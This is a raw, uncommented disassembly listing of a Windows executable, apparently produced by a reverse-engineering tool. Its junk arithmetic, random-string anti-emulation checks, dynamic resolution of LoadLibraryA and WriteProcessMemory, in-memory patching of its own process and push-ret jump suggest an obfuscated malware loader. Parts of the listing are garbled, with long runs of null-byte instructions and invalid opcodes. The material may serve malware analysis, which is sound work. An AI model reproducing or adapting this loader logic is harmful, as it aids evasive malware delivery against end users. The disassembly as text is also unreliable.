sub eax, 0xffffff94
xor ebx, eax
adc dword [0x40612a], 0x48
mov ecx, 0x401fce
call ecx
add edx, 0x27
add dword [0x4061e6], eax
mov ecx, dword [esp]
add ecx, 0xffffff9f
sbb dword [0x4061f0], ecx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx], ch
xor eax, 0x406147
adc ah, byte [0x406117]
or edi, dword [0x406034]
mov ecx, dword [esp]
add ecx, 5
and dword [0x40617a], edi
push str.arduymsuqwilrh
push 0
push str.chotuvcviznmfdtu
push str.iiebrdhm
call dword [sym.imp.kernel32.dll_GetPrivateProfileIntW]
cmp eax, 0
jne 0x4016ac
add edi, 0x5a
sub al, 0x92
sub edi, edi
sbb esi, esi
mov ebx, 0x40149e
call ebx
add edi, esi
add dword [0x4061d5], esi
mov edx, dword [esp]
adc edx, dword [0x406152]
sub byte [0x406055], 1
add edx, 0xfffffffe
sub byte [0x406124], 0x4e
add byte [ebx + 0x348ac4c3], al
and al, 0x82
invalid
or al, byte [0x406049]
sbb dword [0x4060c8], ebx
add ebx, edi
mov ecx, dword [esp]
adc ecx, dword [0x40619a]
push str.qbanjygqwxuw
push 0
push str.uajqhunt
push str.xaawcagylu
call dword [sym.imp.kernel32.dll_GetPrivateProfileIntW]
cmp eax, 0
jne 0x401ed8
or dword [0x406154], 0x71
adc eax, ebx
add dword [0x4060b5], eax
xor eax, 0x1b
lea esi, [0x406b30]
push dword [esi]
call dword [sym.imp.kernel32.dll_SetErrorMode]
or esi, dword [0x406197]
sub al, byte [0x40616c]
adc dword [0x4061d7], ebx
and dword [0x406125], esi
mov ecx, dword [esp]
add ecx, 0xffffffba
add ecx, edi
mov esi, 0x401ed8
call esi
sub byte [0x4061bd], 0xb6
mov dword [0x4061b9], 0x2b
or ebx, dword [0x40618e]
adc dword [0x4060f4], 0xe8
add dword [0x406006], ebx
add byte [eax], al
add byte [eax], al
add byte [eax], al
xor dword [0x4060f0], 0x2f
adc esi, edi
sub bl, byte [0x40609f]
sub edi, eax
push str.arduymsuqwilrh
push 0
push str.chotuvcviznmfdtu
push str.iiebrdhm
call dword [sym.imp.kernel32.dll_GetPrivateProfileIntW]
test eax, eax
jne 0x401dba
mov edx, dword [esp]
add edx, ebx
adc dword [0x4061d5], 0xdf
or edx, dword [0x4060d4]
add dword [0x40613c], esi
push str.qbanjygqwxuw
push 0
push str.uajqhunt
push str.xaawcagylu
call dword [sym.imp.kernel32.dll_GetPrivateProfileIntW]
cmp eax, 0
jne 0x401dba
add eax, esi
mov ecx, dword [esp]
add ecx, 0xffffffd0
mov edx, dword [esp]
adc edx, dword [0x406016]
add dword [0x40610a], eax
mov edx, 0x401dba
call edx
add eax, edi
adc edx, dword [0x406067]
sub ebx, dword [0x406038]
add ebx, 0x7d
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx + 0x1d11c8e7], al
dec edx
pushal
inc eax
add byte [ecx + 0x4061ce25], al
add byte [edi + 0x31000000], dl
inc dword [ebx + 0x158d64e3]
pcmpgtb mm0, qword [eax]
add esi, ebx
adc eax, dword [0x406128]
or dword [0x4060d3], eax
adc dword [0x4061d4], edi
push edx
add ebx, eax
sub esi, dword [0x406135]
add edi, 0xffffff89
adc bl, byte [0x40607e]
adc al, dh
mov dword [0x40607c], 0xc8
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
adc ch, 0x31
adc esi, dword [0x40608b]
xor dword [0x4060b4], 0x85
or bh, 0x75
mov dword [0x40610e], 0xc3
adc edi, edx
push str.LoadLibraryA
sub ecx, edx
adc bl, cl
add edi, 0x65
adc dword [0x4060e6], ebx
adc esi, dword [0x4061d4]
push eax
sbb esi, 0x26
adc edx, 0xfffffff1
mov dword [0x4060c2], 0x2a
adc edx, edx
push str.HeapCreate
mov dword [0x4061f6], 0xc
add ecx, 0xffffffbe
add edx, esi
sub esi, edx
sbb dword [0x4060c6], ebx
push eax
adc edi, dword [0x40615a]
or dword [0x406071], 0x5d
adc dword [0x406097], edx
sbb dword [0x4060d4], edx
or dl, byte [0x40600c]
push str.WriteProcessMemory
sub byte [0x406148], 0xc8
sub byte [0x40615a], 0x24
xor dword [0x4061d0], 0x56
adc edi, edx
xor esi, esi
adc edx, ecx
push eax
sub esi, dword [0x406167]
xor ebx, esi
add esi, ecx
sbb dword [0x406163], edi
call dword [sym.imp.kernel32.dll_GetProcAddress]
xor edx, esi
sub edi, dword [0x406194]
or dword [0x406107], 0xc2
sbb dword [0x406086], 0xa2
and edx, 0x2f
and edx, 0x49
mov dword [0x406b28], eax
xor dword [0x40600a], 0x56
sub edi, 0x30
adc edx, dword [0x4060a6]
sbb ebx, ebx
sub esi, dword [0x4060c3]
call dword [sym.imp.kernel32.dll_GetProcAddress]
adc dword [0x406048], 0x1c
or bh, byte [0x4060cf]
or bl, byte [0x4061d1]
sbb edx, 0xffffffcd
sbb dword [0x4061c9], edi
mov dword [0x406b11], eax
add edi, esi
sub ebx, ecx
mov dword [0x4060e8], 0x83
and dword [0x406087], 0x5f
sbb dword [0x406076], 0xef
sub edi, dword [0x4061db]
call dword [sym.imp.kernel32.dll_GetProcAddress]
add ecx, edx
add dword [0x4060ca], ebx
adc edi, dword [0x406030]
mov dword [0x4061a9], 0xb1
mov dword [0x406436], eax
adc ecx, dword [0x4061cc]
xor edi, 0xfffffffb
adc ebx, 0x6a
adc ecx, dword [0x406080]
adc edi, dword [0x406089]
adc edx, ebx
push str.msxml6.DLL
sub edi, ecx
sub byte [0x406189], 0x71
adc esi, 0xfffffff3
adc ecx, dword [0x4060b7]
sbb edx, 0x6f
call eax
adc ebx, dword [0x4060de]
xor dword [0x4061a7], 0x76
or edx, dword [0x406168]
or byte [0x4060d3], ch
push eax
push str.qbanjygqwxuw
push 0
push str.uajqhunt
push str.xaawcagylu
call dword [sym.imp.kernel32.dll_GetPrivateProfileIntW]
test eax, eax
jne section..text
pop eax
push eax
push str.pvtijnlnzjfcivlzb
push str.fghijjfz
call dword [sym.imp.kernel32.dll_SetEnvironmentVariableW]
pop eax
push eax
push 0x406b88
call dword [sym.imp.kernel32.dll_GetSystemTime]
pop eax
push eax
mov ecx, dword [esp]
add ecx, ebx
mov dword [0x4060ce], 0x6e
adc dword [0x40603e], esi
sub esi, edi
mov edx, dword [esp]
add edx, ebx
sub esi, 0x7a
pop edi
adc dword [0x40603b], 0x9d
add ebx, ebx
or cl, byte [section..data]
adc esi, ebx
and dword [0x4061ed], edx
add edi, dword [edi + 0x3c]
or edx, dword [0x406012]
adc esi, dword [0x4061ce]
sbb dword [0x406100], ebx
sub edx, dword [0x4061e5]
add edi, 0xa4
or byte [0x4061b9], al
sbb dl, 0x43
or esi, 0x3c
or dword [0x406173], 0x8b
push 0
push 4
push edi
push 0x40640b
push 0xffffffffffffffff
call dword [0x406b28]
add eax, ecx
add dword [0x4060ce], ebx
mov dword [0x406156], 0xf
add edx, 0x38
cmp word [0x40640b], 0x1500
jb section..text
sub byte [0x4060a6], 0x93
sub edi, ebx
sub byte [0x4060c9], bh
and dword [0x4061a0], esi
sbb dword [0x4061f3], 0x3c
push 0x4021fa
add ebx, 0xffffffcc
adc edx, dword [0x4060d2]
and ebx, 0xffffff9f
adc dword [0x406016], 0x92
adc ebx, dword [0x40606a]
sub byte [0x4060d7], 0x43
ret
adc edi, dword [0x406105]
adc dword [0x40602a], eax
mov edx, dword [esp]
adc edx, dword [0x4060cd]
add ebx, 0xffffffcb
mov ecx, dword [esp]
add ecx, 0xffffffe0
adc bl, al
lea edx, [0x406b30]
push dword [edx]
call dword [sym.imp.kernel32.dll_SetErrorMode]
mov edx, dword [esp]
add edx, eax
sub edi, 0x68
sbb esi, 0x3d
mov ecx, dword [esp]
add ecx, ebx
or dword [0x40607c], ecx
xor esi, 0x45
mov edi, section..text
call edi
sbb dword [0x406196], 0x47
sub esi, esi
adc dword [0x4061c3], 0x7d
adc ebx, dword [0x406147]
add edx, 0x22
and dword [0x40603e], esi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
xor dword [0x4060a6], 0xd1
or edi, dword [section..data]
adc dword [0x40608d], 0xb5
adc dword [0x4061b0], ebx
push str.svponirpvmb
push 0x406b34
call dword [sym.imp.kernel32.dll_lstrcmpiA]
cmp eax, 0
jne 0x401f57
sub esi, 0x6d
adc bh, ah
adc ebx, dword [0x40601a]
mov ecx, dword [esp]
add ecx, 0x57
mov edx, dword [esp]
add edx, edi
xor ecx, 0xfffffffa
push str.qbanjygqwxuw
push 0
push str.uajqhunt
push str.xaawcagylu
call dword [sym.imp.kernel32.dll_GetPrivateProfileIntW]
test eax, eax
jne 0x401f57
and dword [0x406108], eax
sbb dword [0x406127], eax
sub byte [0x4061c3], 0xa4
adc edi, 4
mov ecx, 0x401f57
call ecx
sub eax, edi
adc esi, dword [0x4060ae]
add al, al
mov ecx, dword [esp]
add ecx, 0xffffff97
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ecx], al
invalid
add esi, eax
mov ecx, dword [esp]
add ecx, eax
and esi, 0xffffffe1
sbb dword [0x40619a], 0x6e
sub edi, 0xffffff97
push 0x406b88
call dword [sym.imp.kernel32.dll_GetSystemTime]
adc edi, dword [0x406148]
sbb dword [0x406192], 0x21
or edi, dword [0x4061ee]
add dword [0x406035], esi
push str.pvtijnlnzjfcivlzb
push str.fghijjfz
call dword [sym.imp.kernel32.dll_SetEnvironmentVariableW]
sub byte [0x40603a], 0xd9
add dword [0x40605d], ebx
sub bh, bh
sub byte [0x4060ed], ah
mov edx, 0x402ade
call edx
adc ebx, 0x44
sub edi, 0x5a
adc edi, dword [0x406149]
sub eax, dword [0x406156]
add dword [0x40601c], esi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx - 0xdfedbec], cl
adc ebx, dword [0x40602d]
mov cl, byte [esp]
add cl, 0xf3
add esi, edi
xor dword [0x406195], 0x5a
add ebx, ebx
push 0x406b88
call dword [sym.imp.kernel32.dll_GetSystemTime]
mov dh, byte [esp]
add dh, ah
or edi, 0x12
adc eax, 0x63
xor eax, 0xffffffdc
and edx, 0x51
or edi, dword [0x40602f]
push str.arduymsuqwilrh
push 0
push str.chotuvcviznmfdtu
push str.iiebrdhm
call dword [sym.imp.kernel32.dll_GetPrivateProfileIntW]
cmp eax, 0
jne 0x401a58
mov dword [0x4060da], 0x45
add esi, 0x52
mov edx, dword [esp]
adc edx, dword [0x40609c]
add eax, edx
mov edx, 0x401a58
call edx
mov ecx, dword [esp]
add ecx, edi
mov dword [0x406094], 0x4e
sub dword [0x4060bb], eax
or dword [0x40615d], edx
sub byte [0x406082], 0x46
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
and dword [0x40616f], edi
mov edx, dword [esp]
add edx, 0x2e
mov ecx, dword [esp]
adc ecx, dword [0x40603e]
adc eax, dword [0x4061f5]
adc dword [0x4061ad], 0x47
adc ecx, dword [0x40616c]
lea esi, [0x406b30]
push dword [esi]
call dword [sym.imp.kernel32.dll_SetErrorMode]
and byte [0x4060f0], bl
sub eax, ebx
add esi, 0x15
add eax, 0xffffff9a
mov dword [0x4061f1], 0x67
add dword [0x4060f2], esi
push str.pvtijnlnzjfcivlzb
push str.fghijjfz
call dword [sym.imp.kernel32.dll_SetEnvironmentVariableW]
adc dword [0x406079], esi
adc ebx, dword [0x406073]
sub eax, 0x15
sbb ebx, ebx
adc ebx, dword [0x406003]
mov eax, 0x401b11
call eax
mov ecx, dword [esp]
add ecx, eax
and dword [0x406121], 0x42
sub dword [0x40610b], edi
xor edi, esi
xor dword [0x406121], ecx
adc dword [0x406190], 0xaa
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], cl
out dx, eax
sbb byte [ebp + 0x4d], cl
sbb bh, ch
invalid